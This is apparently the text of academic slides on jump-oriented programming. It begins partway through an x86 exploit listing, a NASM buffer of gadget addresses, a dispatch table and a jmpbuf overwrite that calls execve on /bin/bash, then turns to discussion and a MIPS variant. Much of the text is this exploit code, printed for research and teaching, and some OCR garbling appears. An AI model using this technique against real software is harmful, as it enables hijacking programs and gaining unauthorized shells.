7  dispatcher:  equ 0xb7fa4e9e ; Address of the dispatcher gadget  
8  buffer_length:  equ 0x100 ; Target program's buffer size before the jmpbuf.  
9  shell:  equ 0xbffff8eb ; Points to the string "/bin/bash" in the environment  
10  to_null:  equ libc+0x7 ; Points to a null dword (0x00000000)

11  ; Start of the stack. Data read by initializer gadget "popa":  
12  popa0_edi: dd -4 ; Delta for dispatcher; negative to avoid NULLs  
13  popa0_esi: dd 0xaaaaaaaa  
14  popa0_ebp: dd base+g_start+0x39 ; Starting jump target for dispatcher (plus 0x39)  
15  popa0 Esp: dd 0xaaaaaaaa  
16  popa0_ebx: dd base+to_dispatcher+0x3e; Jumpback for initializer (plus 0x3e)  
17  popa0 edx: dd 0xaaaaaaaa  
18  popa0_ecx: dd 0xaaaaaaaa  
19  popa0_eax: dd 0xaaaaaaaa

20  ; Data read by "popa" for the null-writer gadgets:  
21  popal_edi: dd -4 ; Delta for dispatcher  
22  popal_esi: dd base+to_dispatcher ; Jumpback for gadgets ending in "jmp [esi]"  
23  popal ebp: dd base+g00+0x39 ; Maintain current dispatch table offset  
24  popal esp: dd 0xaaaaaaaa  
25  popal ebx: dd base+new_eax+0x17bc0000+1 ; Null-writer clears the 3 high bytes of future eax  
26  popal edx: dd base+to_dispatcher ; Jumpback for gadgets ending "jmp [edx]"  
27  popal ecx: dd 0xaaaaaaaa  
28  popal eax: dd -1 ; When we increment eax later, it becomes 0  

29  ; Data read by "popa" to prepare for the system call:  
30  popa2_edi: dd -4 ; Delta for dispatcher  
31  popa2_esi: dd base+esi_addr ; Jumpback for "jmp [esi+K]" for a few values of K  
32  popa2 ebp: dd base+g07+0x39 ; Maintain current dispatch table offset  
33  popa2 esp: dd 0xaaaaaaaa  
34  popa2 ebx: dd shell ; Syscall EBX = 1st execve arg (filename)  
35  popa2 edx: dd base+to_null ; Syscall EDX = 3rd execve arg (envp)  
36  popa2 ecx: dd base+to_dispatcher ; Jumpback for "jmp [ecx]"  
37  popa2 eax: dd to_null ; Swapped into ECX for syscall. 2nd execve arg (argv)```
The full exploit (2)

; End of stack, start of a general data region used in manual addressing
43 dd dispatcher ; Jumpback for "jmp [esi-0xf"
44 times 0xB db 'X' ; Filler
45 esi_addr: dd dispatcher ; Jumpback for "jmp [esi]"
46 dd dispatcher ; Jumpback for "jmp [esi+0x4]"
47 times 4 db 'Z' ; Filler
48 new_eax: dd 0x88888880b ; Sets syscall EAX via [esi+0xc]; EE bytes will be cleared

; End of the data region, the dispatch table is below (in reverse order)
50
g0a: dd 0xb7fe3419 ; sysenter
g09: dd libc+ 0x1a30d ; mov eax, [esi+0xc] ; mov [esp], eax ; call [esi+0x4]
g08: dd libc+0x136460 ; xchg ecx, eax
52 ; fdiv st, st(3) ; jmp [esi-0xf]
g07: dd libc+0x137375 ; popa
53 ; cmc
54 ; jmp far dword [ecx]
g06: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc
55 ; jmp [edx]
g05: dd libc+0x14748d ; inc ebx ; fdivr st(1), st
56 ; jmp [edx]
g04: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah
57 ; stc ; jmp [edx]
g03: dd libc+0x14748d ; inc ebx
58 ; eax ; stc ; jmp [edx]
g02: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah
59 ; stc ; jmp [edx]
g01: dd libc+0x14734d ; inc eax ; stc ; jmp [edx]
g00: dd libc+0x1474ed ; popa
60 ; edx ; jmp [edx]

; Start of the dispatch table, which is in reverse order.
62
times buffer_length - ($-start) db 'X' ; Pad to the end of the legal buffer
63
; LEGAL BUFFER ENDS HERE. Now we overwrite the jmpbuf to take control
64 jmpbuf_ebx: dd 0xaaaaaaaa
65 jmpbuf_esi: dd 0xaaaaaaaa
66 jmpbuf edi: dd 0xaaaaaaaa
67 jmpbuf ebp: dd 0xaaaaaaaa
68 jmpbuf esp: dd base_mangled ; Redirect esp to this buffer for initializer’s "popa"
69 jmpbuf_eip: dd initializer_mangled ; Initializer gadget: popa ; jmp [ebx-0x3e]
70
to_dispatcher: dd dispatcher
71 dw 0x73
72 ; Address of the dispatcher: add ebp,edi ; jmp [ebp-0x39]
74 ; The standard code segment; allows far jumps; ends in NULL

Computer Science
Discussion

• Can we automate building of JOP attacks?
  – Must solve problem of complex interdependencies between gadget requirements

• Is this attack applicable to non-x86 platforms?
  A: Yes

• What defense measures can be developed which counter this attack?
The **MIPS** architecture

- **MIPS**: very different from x86
  - Fixed size, aligned instructions
    - No unintended code!
  - Position-independent code via indirect jumps
  - Delay slots
    - Instruction after a jump will always be executed

- **We can deploy JOP on MIPS!**
  - Use intended indirect jumps
    - Functionality bolstered by the effects of delay slots
  - Supports hypothesis that JOP is a *general* threat
MIPS exploit code (high level overview)

- Shellcode: launches `/bin/bash`
- Constructed in NASM (data declarations only)
- 6 gadgets which will:
  - Insert a null-containing value into the attack buffer
  - Prepare and execute an `execve` syscall
- Get a shell without exploiting a single `jr ra`:
References


